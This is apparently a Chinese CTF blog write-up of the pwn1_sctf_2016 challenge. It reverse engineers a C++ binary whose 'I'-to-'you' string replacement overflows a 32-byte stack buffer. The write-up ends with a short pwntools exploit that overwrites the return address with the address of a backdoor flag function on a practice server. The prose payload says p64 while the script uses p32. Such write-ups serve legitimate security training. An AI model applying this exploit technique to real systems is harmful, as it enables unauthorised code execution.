每日一pwn[pwn1_sctf_2016]

前言

在寒假玩了太久后的第一次刷题,直接来个每日一pwn,就当恢复训练了

分析

代码简单分析了一下

image-20240222094820972

总的来说就是一个C++的逆向分析,总的来说不算难,但是对于没有接触过C++的来说,还是有点难以理解的。后面会简单介绍一下关于这段代码的。

1
2
printf("Tell me something about yourself: ");
fgets(s, 32, edata);

这段代码就是打印提示语句,然后从edata这个流获取输入,和C语言里面没区别

image-20240222095126606

1
std::string::operator=((int)&input, (int)s);

这段代码就很有C++的特性了,因为C++里面出现了一个新的方式那就命名空间的说法,其实可以理解为就是调用库的形式。这段代码就可以理解为从标准库的string模块调用operator这个函数,于是我们搜索的时候,便可以搜索std::string::operator()函数的作用,或者看汇编代码默认识别的函数格式

image-20240222095605361

image-20240222095543202

于是我们知道这个函数其实就是将s的数据转换为C++格式的string类型那种格式

1
2
3
4
std::allocator<char>::allocator(&v6);
std::string::string(v5, "you", &v6);
std::allocator<char>::allocator(v8);
std::string::string(v7, "I", v8);

这段代码看着很复杂,其实很简单,首先就是通过allocator去申请一个V6的空间,然后通过string函数进行转换,类似于c语言的

1
2
3
4
char v6="you";
string v5 = v6;
char v8="you";
string v7 = v8;

然后就是一个自己写的函数了

1
replace((std::string *)v4, (std::string *)&input, (std::string *)v7);

image-20240222100733013

看着很复杂,其实看懂几个关键的函数就行了,我们发现存在一个函数是find函数,以我们c语言的知识可以知道这个是查找字符的函数,百度搜索这个函数发现确实是的,于是我们可以发现,该函数在我们输入的字符串里面寻找"I"这个字符串,并且我们动态调试后发现实现了将I替换为you这个功能。

image-20240222101754188

image-20240222101806921

接下来的代码就是一下赋值和销毁数据的代码了

1
2
3
4
5
6
std::string::operator=(&input, v5, v2, v3);
std::string::~string(v5);
std::string::~string(v8);
std::allocator<char>::~allocator(v9);
std::string::~string(v6);
std::allocator<char>::~allocator(&v7);

所有的函数前面有~的都是用于销毁数据的。

1
2
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(s, v0);

c_str函数返回一个指针,并将数据复制到s里面去,我们可以知道s只有32个字节,经过转换复制后的v0可以超过32字节,赋值回去后便会溢出

漏洞点

赋值回去后会存在溢出,并且函数存在后门函数

image-20240222102347168

于是直接打一个栈溢出就行

image-20240222102423135

s在栈上的位置为0x3c于是我们想办法将其覆盖就行0x3c/3=20,于是只需要20个“I”经过扩容后,就能覆盖到ebp,再覆盖一个ebp,最后就能覆盖返回地址了

payload=”I”*20+”AAAA”+p64(get_flag_addr)即可

exp

1
2
3
4
5
6
7
from pwn import *
#p = process("./pwn1_sctf_2016")
p = remote("node5.buuoj.cn",29009)
get_flag = 0x8048F0D
payload = "I"*20+"AAAA"+p32(get_flag)
p.sendline(payload)
p.interactive()